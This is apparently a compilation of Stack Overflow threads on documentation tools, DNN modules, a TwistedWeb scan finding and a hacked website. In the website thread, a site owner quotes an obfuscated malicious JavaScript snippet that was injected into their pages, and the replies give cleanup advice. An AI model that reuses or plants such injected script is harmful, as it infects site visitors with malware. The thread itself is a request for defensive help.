Where to report suggestions for SnakeMake - snakemake

Where should suggestions to SnakeMake developers be posted?
The suggestions I would like to make are:
Indicate on the SnakeMake user guide web site where to post suggestions.
Indicate on the SnakeMake user guide web site that questions about SnakeMake should be posted on stackOverflow.
(Or are they there and I missed them?)

As #nv_wu mentioned, support channels are listed in the "Support" section of the documentation:
In case of questions, please post on Stack Overflow.
To discuss with other Snakemake users, you can use the mailing list.
For bugs and feature requests, please use the issue tracker.
For contributions, visit Snakemake on bitbucket and read the guidelines.
In general, requests for help should go here on Stack Overflow rather than the mailing list. Since Snakemake is open source, bug reports ("Issues"), feature requests (also filed as bitbucket "Issues"), suggestions, and general developer chatter belong on bitbucket.org/snakemake/snakemake.

SnakeMake developers are losing an opportunity to make an outstanding product better, by failing to provide any kind of support information or user community information on their web site, and providing a tutorial-based user manual without a concise and well-organized reference manual.

Related

How to hook Flare-built online help into a web application?

I have uploaded some MadCap Flare online help files into my SVN repository. What code does the web developer use to get these help pages into the online help of the web application?
On their website, MadCap Software provides a context sensitive help guide for Flare. It should show you what the technical writer and what the developer has to do to link the help system to the application, depending on which type of help output you are creating. You can find it here: http://docs.madcapsoftware.com/flare2018/FlareCSHGuide.pdf.
Fair warning, so far I have no experience with the information provided in the guide, as our CHM help system was already up and running when I started working on our Flare project, so I've never initially linked a Flare project to an application, just updated an existing project (therefore the "should show you").
If you have further questions about Flare, the peer-to-peer support forum (https://forums.madcapsoftware.com) is usually a really good resource. There are a couple of very active users there that really know the ins and outs of Flare. Might be worth it to go over there for Flare specific information, as Flare is a niche tool probably only known to few here on stackoverflow, but it's the bread and butter for the guys and gals over in the MadCap forums.

Best DNN Module for Blog, Forum, Wiki

I want to create a Community for our Shopsystem.
We want to use DNN as a development tool.
Now I'm searching for good modules for Blog, Forum and Wiki.
Paid modules and free modules are both interesting.
MfG SWegener
I haven't looked into much blogs until now.
So if you know some which are helpful, please provide the URL.
For Wiki, you may consider the Canam Wiki module - http://store.dnnsoftware.com/home/product-details/canam-wiki-pro-2
It is the same one being used by DNN on their website.

Malware on the site as per google but I cannot find it

yesterday when I came to one of my sites I got a warning from google that there is malware on my site. I looked at the code and there was indeed some javascript that shouldn't be there. I googled it and didn't find anything usefull. When I came back to my site, that code was gone, but google (when accessing the site from the search engine) and google chrome still give me a warning that there is malware on my site.
I looked at webmaster tools and they have identified few pages as problematic. One of them is http://www.keramikfliesen.com/schweiz/rimini/. The code that is listed in the webmaster tools under Malware is:
<script type='text/javascript'>st="no3nen0orno3pno3rxstxpno3
rxnl";Date&&(a=["a#%d]%b#%e_%c)%1<%5*%4+%9:%3^%2","%7!%0|%f~
%8?%6&"]);var b=[],c="&!^<^]$$&)&~&_&)!:$$^#$|&:&&$?$]^<^]^]
&+&~&^!*&]&*&_!+$_&^&~&~&#&:&*$_&:&_&+&*!?+~&&$?&!^<$:$:!#!?
^+^]^!^$+*^&^#!&&<!$$|&^^]&_&*!!$|++&<!+&*^#&^$_!^&*!+*+&:&]
&*$?&^$_&!&*!+*+&:&]&*$?$:$:^#&*&+^]&_&*!!$|++&<!+&*$?&^$_&!
&*!+*+&:&]&*$?$:$#!?^+$:^#&+&~&^!*&]&*&_!+$_&^&~&~&#&:&*^]&!
^<$#$$^]$$$#&*!^&^&<!|&*$?&*&+$_!+&~+!+]*+*^!+!$&:&_&!$?$:$:
$#$$^#&*!?!|&:!$&*!^^]$$$#&*&+$_!+&~+!+]*+*^!+!$&:&_&!$?$:$#
$$^#!|&<!+&?^]$~$$^#&!^^^]$$&?!+!+!|^#$~$~$$$#!^!+$_!$&*!|&)
&<&^&*$?$~&*&_^|$~&!$)$$&!$$$:$_!$&*!|&)&<&^&*$?$~&_&~^^$~&!
$)$$&*$$$:$_!$&*!|&)&<&^&*$?$~!|&*!$!?$~&!$)$$$_$$$:$#$$$~!+
&~!|^$$_&?!+&]&)$$^#!&&<!$$|&+^]$]^<$<^]&_&<!&&:&!&<!+&~!$$_
!*!^&*!$+<&!&*&_!+$_!+&~+)&~!!&*!$+^&<!^&*$?$:$_&:&_&+&*!?+~
&&$?$$&&&:!$&*&&&~!?$$$:$)&*^]$$^<$$$)&?^]&&!*&_&^!+&:&~&_$?
$:!#!]^#&?$_!|!$&~!+&~!+!:!|&*^]!#&$^#&&!*&_&^!+&:&~&_$?$:!#
!$&*!+!*!$&_$|&!^^!]$)&<^#&&!*&_&^!+&:&~&_$?$:!#!&&<!$$|&&^]
&+&~
Can you please help me out? How should I fight this?
Thank you all very much for your help in advance!
Remove the malware from your webpages.
Immediately change your passwords.
Also check for any XSS (cross-site scripting) and SQL injection vulnerabilities.
deactivate plugins that are not high ranked or from reputed source.
Use secure protocols.check out StopBadware.org's Tips for Cleaning and Securing Your Website.
Keep an eye on your log files.
Stay up-to-date with the latest software updates and patches.
Hope it helps!
If the code appears again, then the attacker left some script, which, on request, runs the infecting procedure. Usually this script receives an encoded string of the malcode (e.g. in base64), decodes it and executes via eval(). You should find this file (it is most likely a PHP script) and remove it. To find it look at the log and search for suspicious requests (e.g. a single POST request, transmitting base64 string is a very suspicious one).
Most probably your hosting has been compromised (password stolen) by an automated tool.
This tools typically inject some javascript inside js files in order to infect the people visiting your pages with malware. You should :
Change your passwords.
Restore the most recent non compromised backup.

CGI Information Disclosure Issue

I have a vulnerability scan that is showing that a server running TwistedWeb/2.5.0 on a port is subject to a, "Multiple Web Servers finger CGI Information Disclosure Vulnerability." We have verified that the actual "Finger" service is not running, and I personally do not believe it to be related to the "Finger" service. My question is does anyone know of an issue that exists in TwistedWeb on this topic? I have searched the tickets on the site page and have looked through posts here on StackOverflow but have not seen anything that helps to answer it.
Twisted 2.5.0 is 4 years old at this point. It's no longer being supported by the developers at twistedmatrix.com. It may well have bugs. Please upgrade.

Looking for a wiki-style, standalone, version-control-"safe" documentation package [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
We don’t allow questions seeking recommendations for books, tools, software libraries, and more. You can edit the question so it can be answered with facts and citations.
Closed 8 years ago.
Improve this question
My team and I have found that documenting our project (a development platform w/ API) with a wiki is both useful to us and useful to the users. Due to some organizational issues, we're forced to do multi-site development without network connectivity. We've switched to a DVCS (Mercurial) and had great success with this. The wiki documentation proves to be a problem as the central site is setup with MediaWiki. The offsite people have no way to access or edit the wiki.
Is there any sort of wiki-style package which doesn't not require a server/database and will be useable in a DVCS environment?
Update: Should be open-source and cross-platform
I can recommend TiddlyWiki. It does not need any web servers, only a browser, stores the entire Wiki documentation in a single HTML page. This can easily be shared through Mercurial.
Edit: Check this page, it discusses how to use TiddlyWiki with DVCS. It involves using an extension dubbed SynchroTiddly.
DokuWiki stores all data in plain text files. You could install local web servers for every developer and use your VC system to sync between developers.
ikiwiki: http://ikiwiki.info/ stores the info directly in the VCS (it supports mercurial as backend).
http://zim-wiki.org/
It's a desktop wiki (WYSIWYG editing, though not very sophisticated formatting) which stores everything in plain-text files. That means you can hold the files in version control, and have a friendly editing experience.
It even has builtin Bazaar support UPDATE: also Git, Mercurial, and Fossil.
[I know, late to the party - writing for benefit of others reading this question...]
Perhaps you should look at auto-generation of documentation from source. This way, the documentation will automatically be version controlled.
A lot of generators support adding additional documentation via plain-text files which can be added to the repository.
Look into Fossil it is a DVCS that contains a built in wiki and bug tracking system. This may be just what your looking for. Read the site, there is a built in webserver. You can use a CGI script to open up the connection to people (the fossil website is the fossil DVCS). After using it you may decide to move your code over to it as well. It is open source, and does have cross platform builds.
Ended up writing my own system using python,cherrpy, and mercurial. Perhaps one day it will end up open-source. Thanks for all the suggestions.
http://hatta-wiki.org/ is a wiki running on a Mercurial repository.
It's interesting to note how it handles conflicts: simultaneous edits are silently merged on commit, even if conflicting and committed with the conflict markers! That's OK because:
it's text, not software
you see the result of your edit immediately after commiting
it treats conflict markers as valid wiki syntax (resulting in diff -u like highlighting of the conflict)!
This arrangement motivates you to edit again to resolve the conflict immediately - but doesn't force you to.
Github's gollum is open-source, git based, eats many popular syntaxes.
But the most important selling point of course is that it's built into github.
Bitbucket similarly has a mercurial based wiki. Not sure if the code is open source though (i.e. you can edit the text offline, but not sure that you can see it rendered).
MoinMoin supports storing your pages in a Mercurial repository: http://moinmo.in/Storage2009/HelpOnStorageConfiguration#Mercurial_Backend_.28hg.29
This is quite interesting because MoinMoin has been around for a while, is rather well supported, and a rich set of features (but that's just my opinion; don't take my word for it and see for yourself ;-)).